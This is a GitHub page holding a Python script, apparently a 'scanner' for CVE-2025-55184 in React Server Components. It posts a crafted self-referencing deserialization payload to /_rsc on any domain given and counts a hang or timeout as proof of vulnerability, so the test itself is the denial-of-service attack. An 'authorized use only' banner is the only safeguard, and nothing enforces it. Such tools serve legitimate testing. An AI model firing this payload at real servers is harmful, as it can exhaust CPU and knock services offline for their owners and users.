-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKK_CVE_2025-55184_Testing.py
More file actions
164 lines (133 loc) · 5.03 KB
/
Copy pathKK_CVE_2025-55184_Testing.py
File metadata and controls
164 lines (133 loc) · 5.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/env python3
import requests
import json
import time
import argparse
import sys
from urllib.parse import urljoin, urlparse
from datetime import datetime
from typing import List, Dict
class Colors:
HEADER = '\033[38;5;179m' # soft yellow / brown
BANNER = '\033[38;5;182m' # muted pink
INFO = '\033[38;5;250m' # light gray
SUCCESS = '\033[38;5;28m' # DARK GREEN
WARNING = '\033[38;5;180m' # soft yellow
ERROR = '\033[38;5;167m' # muted red
CRITICAL = '\033[38;5;124m' # DARK RED
DEBUG = '\033[38;5;244m' # gray
PROMPT = '\033[38;5;190m' # neutral gray
RESET = '\033[0m'
BOLD = '\033[1m'
# ---------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------
def print_banner():
banner = f"""
{Colors.HEADER}{Colors.BOLD}------------------------------------------------------------{Colors.RESET}
{Colors.BANNER}{Colors.BOLD} CVE-2025-55184 | React Server Components DoS Scanner {Colors.RESET}
{Colors.BANNER} Safe, Authorized Security Validation Tool {Colors.RESET}
{Colors.HEADER}{Colors.BOLD}------------------------------------------------------------{Colors.RESET}
{Colors.DEBUG} Internal testing use only – authorization required{Colors.RESET}
"""
print(banner)
def print_vulnerability_info():
info = f"""
{Colors.HEADER}Overview:{Colors.RESET}
CVE-2025-55184 affects React Server Components deserialization.
Malformed RSC payloads can cause infinite resolution loops,
resulting in denial of service through CPU exhaustion.
{Colors.HEADER}Impact:{Colors.RESET}
• Application hang or crash
• Resource exhaustion
• Service unavailability
{Colors.HEADER}Fixed Versions:{Colors.RESET}
• React 19.0.2+
• React 19.1.3+
• React 19.2.2+
"""
print(info)
# ---------------------------------------------------------------------
# Scanner Class
# ---------------------------------------------------------------------
class CVE202555184Scanner:
def __init__(self, timeout=5, verbose=False):
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.results = []
def log(self, msg, level="INFO"):
if not self.verbose and level == "DEBUG":
return
color = {
"INFO": Colors.INFO,
"SUCCESS": Colors.SUCCESS,
"WARNING": Colors.WARNING,
"ERROR": Colors.ERROR,
"CRITICAL": Colors.CRITICAL,
"DEBUG": Colors.DEBUG,
}.get(level, Colors.INFO)
ts = datetime.now().strftime("%H:%M:%S")
print(f"{color}[{ts}] {msg}{Colors.RESET}")
def normalize_url(self, url):
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url.rstrip("/")
def validate_url(self, url):
try:
p = urlparse(url)
return bool(p.scheme and p.netloc)
except Exception:
return False
def test_target(self, target):
target = self.normalize_url(target)
self.log(f"Testing {target}")
payload = {
"0": "$1",
"1": {
"status": "resolved_model",
"reason": {"$$typeof": "Symbol(react.element)"},
"_response": "$2",
"value": {"then": "$0:then", "0": "$1", "1": "$0"}
},
"2": {"nested": "$1", "ref": "$1"}
}
headers = {
"Content-Type": "application/json",
"User-Agent": "CVE-2025-55184-Tester",
"Connection": "close"
}
try:
start = time.time()
self.session.post(
urljoin(target, "/_rsc"),
data=json.dumps(payload),
headers=headers,
timeout=self.timeout
)
elapsed = time.time() - start
if elapsed > 3:
return True
return False
except requests.exceptions.Timeout:
return True
def scan_single_domain(self, domain):
print_vulnerability_info()
vulnerable = self.test_target(domain)
print(f"\n{Colors.HEADER}{Colors.BOLD}Scan Summary{Colors.RESET}")
if vulnerable:
print(f"{Colors.CRITICAL}{domain} -> Vulnerable{Colors.RESET}")
else:
print(f"{Colors.SUCCESS}{domain} -> Not Vulnerable{Colors.RESET}")
# ---------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--domain", required=True)
args = parser.parse_args()
print_banner()
scanner = CVE202555184Scanner()
scanner.scan_single_domain(args.domain)
if __name__ == "__main__":
main()